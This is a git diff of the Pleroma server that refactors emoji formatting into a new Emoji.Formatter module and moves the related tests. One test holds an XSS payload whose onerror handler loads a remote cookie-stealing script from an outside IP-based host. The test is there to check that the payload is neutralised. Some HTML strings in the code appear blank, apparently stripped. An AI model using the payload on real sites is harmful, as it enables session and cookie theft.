diff --git a/lib/pleroma/emoji/formatter.ex b/lib/pleroma/emoji/formatter.ex
new file mode 100644
index 000000000..acdef3988
--- /dev/null
+++ b/lib/pleroma/emoji/formatter.ex
@@ -0,0 +1,59 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Emoji.Formatter do
+ alias Pleroma.Emoji
+ alias Pleroma.HTML
+ alias Pleroma.Web.MediaProxy
+
+ def emojify(text) do
+ emojify(text, Emoji.get_all())
+ end
+
+ def emojify(text, nil), do: text
+
+ def emojify(text, emoji, strip \\ false) do
+ Enum.reduce(emoji, text, fn
+ {_, _, _, emoji, file}, text ->
+ String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
+
+ emoji_data, text ->
+ emoji = HTML.strip_tags(elem(emoji_data, 0))
+ file = HTML.strip_tags(elem(emoji_data, 1))
+ String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
+ end)
+ |> HTML.filter_tags()
+ end
+
+ defp prepare_emoji_html(_emoji, _file, true), do: ""
+
+ defp prepare_emoji_html(emoji, file, _strip) do
+ ""
+ end
+
+ def demojify(text) do
+ emojify(text, Emoji.get_all(), true)
+ end
+
+ def demojify(text, nil), do: text
+
+ @doc "Outputs a list of the emoji-shortcodes in a text"
+ def get_emoji(text) when is_binary(text) do
+ Enum.filter(Emoji.get_all(), fn {emoji, _, _, _, _} ->
+ String.contains?(text, ":#{emoji}:")
+ end)
+ end
+
+ def get_emoji(_), do: []
+
+ @doc "Outputs a list of the emoji-Maps in a text"
+ def get_emoji_map(text) when is_binary(text) do
+ get_emoji(text)
+ |> Enum.reduce(%{}, fn {name, file, _group, _, _}, acc ->
+ Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}")
+ end)
+ end
+
+ def get_emoji_map(_), do: []
+end
diff --git a/lib/pleroma/formatter.ex b/lib/pleroma/formatter.ex
index 84955289c..dbbfe3a66 100644
--- a/lib/pleroma/formatter.ex
+++ b/lib/pleroma/formatter.ex
@@ -3,10 +3,8 @@
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Formatter do
- alias Pleroma.Emoji
alias Pleroma.HTML
alias Pleroma.User
- alias Pleroma.Web.MediaProxy
@safe_mention_regex ~r/^(\s*(?(@.+?\s+){1,})+)(?.*)/s
@link_regex ~r"((?:http(s)?:\/\/)?[\w.-]+(?:\.[\w\.-]+)+[\w\-\._~%:/?#[\]@!\$&'\(\)\*\+,;=.]+)|[0-9a-z+\-\.]+:[0-9a-z$-_.+!*'(),]+"ui
@@ -100,56 +98,6 @@ def mentions_escape(text, options \\ []) do
end
end
- def emojify(text) do
- emojify(text, Emoji.get_all())
- end
-
- def emojify(text, nil), do: text
-
- def emojify(text, emoji, strip \\ false) do
- Enum.reduce(emoji, text, fn
- {_, _, _, emoji, file}, text ->
- String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
-
- emoji_data, text ->
- emoji = HTML.strip_tags(elem(emoji_data, 0))
- file = HTML.strip_tags(elem(emoji_data, 1))
- String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
- end)
- |> HTML.filter_tags()
- end
-
- defp prepare_emoji_html(_emoji, _file, true), do: ""
-
- defp prepare_emoji_html(emoji, file, _strip) do
- ""
- end
-
- def demojify(text) do
- emojify(text, Emoji.get_all(), true)
- end
-
- def demojify(text, nil), do: text
-
- @doc "Outputs a list of the emoji-shortcodes in a text"
- def get_emoji(text) when is_binary(text) do
- Enum.filter(Emoji.get_all(), fn {emoji, _, _, _, _} ->
- String.contains?(text, ":#{emoji}:")
- end)
- end
-
- def get_emoji(_), do: []
-
- @doc "Outputs a list of the emoji-Maps in a text"
- def get_emoji_map(text) when is_binary(text) do
- get_emoji(text)
- |> Enum.reduce(%{}, fn {name, file, _group, _, _}, acc ->
- Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}")
- end)
- end
-
- def get_emoji_map(_), do: []
-
def html_escape({text, mentions, hashtags}, type) do
{html_escape(text, type), mentions, hashtags}
end
diff --git a/lib/pleroma/web/common_api/common_api.ex b/lib/pleroma/web/common_api/common_api.ex
index 5faddc9f4..9ee704022 100644
--- a/lib/pleroma/web/common_api/common_api.ex
+++ b/lib/pleroma/web/common_api/common_api.ex
@@ -6,7 +6,7 @@ defmodule Pleroma.Web.CommonAPI do
alias Pleroma.Activity
alias Pleroma.ActivityExpiration
alias Pleroma.Conversation.Participation
- alias Pleroma.Formatter
+ alias Pleroma.Emoji
alias Pleroma.Object
alias Pleroma.ThreadMute
alias Pleroma.User
@@ -261,12 +261,7 @@ def post(user, %{"status" => status} = data) do
sensitive,
poll
),
- object <-
- Map.put(
- object,
- "emoji",
- Map.merge(Formatter.get_emoji_map(full_payload), poll_emoji)
- ) do
+ object <- put_emoji(object, full_payload, poll_emoji) do
preview? = Pleroma.Web.ControllerHelper.truthy_param?(data["preview"]) || false
direct? = visibility == "direct"
@@ -300,6 +295,15 @@ def post(user, %{"status" => status} = data) do
end
end
+ # parse and put emoji to object data
+ defp put_emoji(map, text, emojis) do
+ Map.put(
+ map,
+ "emoji",
+ Map.merge(Emoji.Formatter.get_emoji_map(text), emojis)
+ )
+ end
+
# Updates the emojis for a user based on their profile
def update(user) do
user =
diff --git a/lib/pleroma/web/common_api/utils.ex b/lib/pleroma/web/common_api/utils.ex
index 9686e6491..d6907f707 100644
--- a/lib/pleroma/web/common_api/utils.ex
+++ b/lib/pleroma/web/common_api/utils.ex
@@ -9,6 +9,7 @@ defmodule Pleroma.Web.CommonAPI.Utils do
alias Pleroma.Activity
alias Pleroma.Config
alias Pleroma.Conversation.Participation
+ alias Pleroma.Emoji
alias Pleroma.Formatter
alias Pleroma.Object
alias Pleroma.Plugs.AuthenticationPlug
@@ -184,7 +185,7 @@ def make_poll_data(%{"poll" => %{"options" => options, "expires_in" => expires_i
"name" => option,
"type" => "Note",
"replies" => %{"type" => "Collection", "totalItems" => 0}
- }, Map.merge(emoji, Formatter.get_emoji_map(option))}
+ }, Map.merge(emoji, Emoji.Formatter.get_emoji_map(option))}
end)
case expires_in do
@@ -434,7 +435,7 @@ def confirm_current_password(user, password) do
end
def emoji_from_profile(%{info: _info} = user) do
- (Formatter.get_emoji(user.bio) ++ Formatter.get_emoji(user.name))
+ (Emoji.Formatter.get_emoji(user.bio) ++ Emoji.Formatter.get_emoji(user.name))
|> Enum.map(fn {shortcode, url, _, _, _} ->
%{
"type" => "Emoji",
diff --git a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex
index 603c6b3c6..4f63b03cf 100644
--- a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex
+++ b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex
@@ -13,8 +13,8 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do
alias Pleroma.Bookmark
alias Pleroma.Config
alias Pleroma.Conversation.Participation
+ alias Pleroma.Emoji
alias Pleroma.Filter
- alias Pleroma.Formatter
alias Pleroma.HTTP
alias Pleroma.Notification
alias Pleroma.Object
@@ -140,7 +140,7 @@ def update_credentials(%{assigns: %{user: user}} = conn, params) do
user_info_emojis =
user.info
|> Map.get(:emoji, [])
- |> Enum.concat(Formatter.get_emoji_map(emojis_text))
+ |> Enum.concat(Emoji.Formatter.get_emoji_map(emojis_text))
|> Enum.dedup()
info_params =
diff --git a/lib/pleroma/web/metadata/utils.ex b/lib/pleroma/web/metadata/utils.ex
index 720bd4519..382ecf426 100644
--- a/lib/pleroma/web/metadata/utils.ex
+++ b/lib/pleroma/web/metadata/utils.ex
@@ -3,6 +3,7 @@
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.Metadata.Utils do
+ alias Pleroma.Emoji
alias Pleroma.Formatter
alias Pleroma.HTML
alias Pleroma.Web.MediaProxy
@@ -13,7 +14,7 @@ def scrub_html_and_truncate(%{data: %{"content" => content}} = object) do
|> HtmlEntities.decode()
|> String.replace(~r/
/, " ")
|> HTML.get_cached_stripped_html_for_activity(object, "metadata")
- |> Formatter.demojify()
+ |> Emoji.Formatter.demojify()
|> Formatter.truncate()
end
@@ -23,7 +24,7 @@ def scrub_html_and_truncate(content, max_length \\ 200) when is_binary(content)
|> HtmlEntities.decode()
|> String.replace(~r/
/, " ")
|> HTML.strip_tags()
- |> Formatter.demojify()
+ |> Emoji.Formatter.demojify()
|> Formatter.truncate(max_length)
end
diff --git a/lib/pleroma/web/twitter_api/twitter_api_controller.ex b/lib/pleroma/web/twitter_api/twitter_api_controller.ex
index 5dfab6a6c..4141bfba5 100644
--- a/lib/pleroma/web/twitter_api/twitter_api_controller.ex
+++ b/lib/pleroma/web/twitter_api/twitter_api_controller.ex
@@ -9,7 +9,7 @@ defmodule Pleroma.Web.TwitterAPI.Controller do
alias Ecto.Changeset
alias Pleroma.Activity
- alias Pleroma.Formatter
+ alias Pleroma.Emoji
alias Pleroma.Notification
alias Pleroma.Object
alias Pleroma.Repo
@@ -713,7 +713,7 @@ defp parse_profile_bio(user, params) do
emojis_text = (params["description"] || "") <> " " <> (params["name"] || "")
emojis =
- ((user.info.emoji || []) ++ Formatter.get_emoji_map(emojis_text))
+ ((user.info.emoji || []) ++ Emoji.Formatter.get_emoji_map(emojis_text))
|> Enum.dedup()
user_info =
diff --git a/lib/pleroma/web/twitter_api/views/activity_view.ex b/lib/pleroma/web/twitter_api/views/activity_view.ex
index abae63877..9192ebd34 100644
--- a/lib/pleroma/web/twitter_api/views/activity_view.ex
+++ b/lib/pleroma/web/twitter_api/views/activity_view.ex
@@ -5,7 +5,7 @@
defmodule Pleroma.Web.TwitterAPI.ActivityView do
use Pleroma.Web, :view
alias Pleroma.Activity
- alias Pleroma.Formatter
+ alias Pleroma.Emoji
alias Pleroma.HTML
alias Pleroma.Object
alias Pleroma.Repo
@@ -262,7 +262,7 @@ def render(
activity,
"twitterapi:content"
)
- |> Formatter.emojify(object.data["emoji"])
+ |> Emoji.Formatter.emojify(object.data["emoji"])
text =
if content do
@@ -319,7 +319,7 @@ def render(
"possibly_sensitive" => possibly_sensitive,
"visibility" => Pleroma.Web.ActivityPub.Visibility.get_visibility(object),
"summary" => summary,
- "summary_html" => summary |> Formatter.emojify(object.data["emoji"]),
+ "summary_html" => Emoji.Formatter.emojify(summary, object.data["emoji"]),
"card" => card,
"muted" => thread_muted? || User.mutes?(opts[:for], user)
}
diff --git a/lib/pleroma/web/twitter_api/views/user_view.ex b/lib/pleroma/web/twitter_api/views/user_view.ex
index 8a7d2fc72..3a6550826 100644
--- a/lib/pleroma/web/twitter_api/views/user_view.ex
+++ b/lib/pleroma/web/twitter_api/views/user_view.ex
@@ -4,7 +4,8 @@
defmodule Pleroma.Web.TwitterAPI.UserView do
use Pleroma.Web, :view
- alias Pleroma.Formatter
+
+ alias Pleroma.Emoji
alias Pleroma.HTML
alias Pleroma.User
alias Pleroma.Web.CommonAPI.Utils
@@ -72,7 +73,7 @@ defp do_render("user.json", %{user: user = %User{}} = assigns) do
description_html =
(user.bio || "")
|> HTML.filter_tags(User.html_filter_policy(for_user))
- |> Formatter.emojify(emoji)
+ |> Emoji.Formatter.emojify(emoji)
fields =
user.info
@@ -99,7 +100,7 @@ defp do_render("user.json", %{user: user = %User{}} = assigns) do
"name" => user.name || user.nickname,
"name_html" =>
if(user.name,
- do: HTML.strip_tags(user.name) |> Formatter.emojify(emoji),
+ do: HTML.strip_tags(user.name) |> Emoji.Formatter.emojify(emoji),
else: user.nickname
),
"profile_image_url" => image,
diff --git a/test/emoji/formatter_test.exs b/test/emoji/formatter_test.exs
new file mode 100644
index 000000000..8b510f48b
--- /dev/null
+++ b/test/emoji/formatter_test.exs
@@ -0,0 +1,54 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2018 Pleroma Authors
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Emoji.FormatterTest do
+ alias Pleroma.Emoji.Formatter
+ use Pleroma.DataCase
+
+ describe "emojify" do
+ test "it adds cool emoji" do
+ text = "I love :firefox:"
+
+ expected_result =
+ "I love "
+
+ assert Formatter.emojify(text) == expected_result
+ end
+
+ test "it does not add XSS emoji" do
+ text =
+ "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
+
+ custom_emoji = %{
+ "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
+ "https://placehold.it/1x1"
+ }
+
+ expected_result =
+ "I love "
+
+ assert Formatter.emojify(text, custom_emoji) == expected_result
+ end
+ end
+
+ describe "get_emoji" do
+ test "it returns the emoji used in the text" do
+ text = "I love :firefox:"
+
+ assert Formatter.get_emoji(text) == [
+ {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"], "firefox", "/emoji/Firefox.gif"}
+ ]
+ end
+
+ test "it returns a nice empty result when no emojis are present" do
+ text = "I love moominamma"
+ assert Formatter.get_emoji(text) == []
+ end
+
+ test "it doesn't die when text is absent" do
+ text = nil
+ assert Formatter.get_emoji(text) == []
+ end
+ end
+end
diff --git a/test/formatter_test.exs b/test/formatter_test.exs
index 7a5bd0f9f..c36681068 100644
--- a/test/formatter_test.exs
+++ b/test/formatter_test.exs
@@ -255,52 +255,6 @@ test "parses tags in the text" do
end
end
- describe "emojify" do
- test "it adds cool emoji" do
- text = "I love :firefox:"
-
- expected_result =
- "I love "
-
- assert Formatter.emojify(text) == expected_result
- end
-
- test "it does not add XSS emoji" do
- text =
- "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
-
- custom_emoji = %{
- "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
- "https://placehold.it/1x1"
- }
-
- expected_result =
- "I love "
-
- assert Formatter.emojify(text, custom_emoji) == expected_result
- end
- end
-
- describe "get_emoji" do
- test "it returns the emoji used in the text" do
- text = "I love :firefox:"
-
- assert Formatter.get_emoji(text) == [
- {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"], "firefox", "/emoji/Firefox.gif"}
- ]
- end
-
- test "it returns a nice empty result when no emojis are present" do
- text = "I love moominamma"
- assert Formatter.get_emoji(text) == []
- end
-
- test "it doesn't die when text is absent" do
- text = nil
- assert Formatter.get_emoji(text) == []
- end
- end
-
test "it escapes HTML in plain text" do
text = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"
expected = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"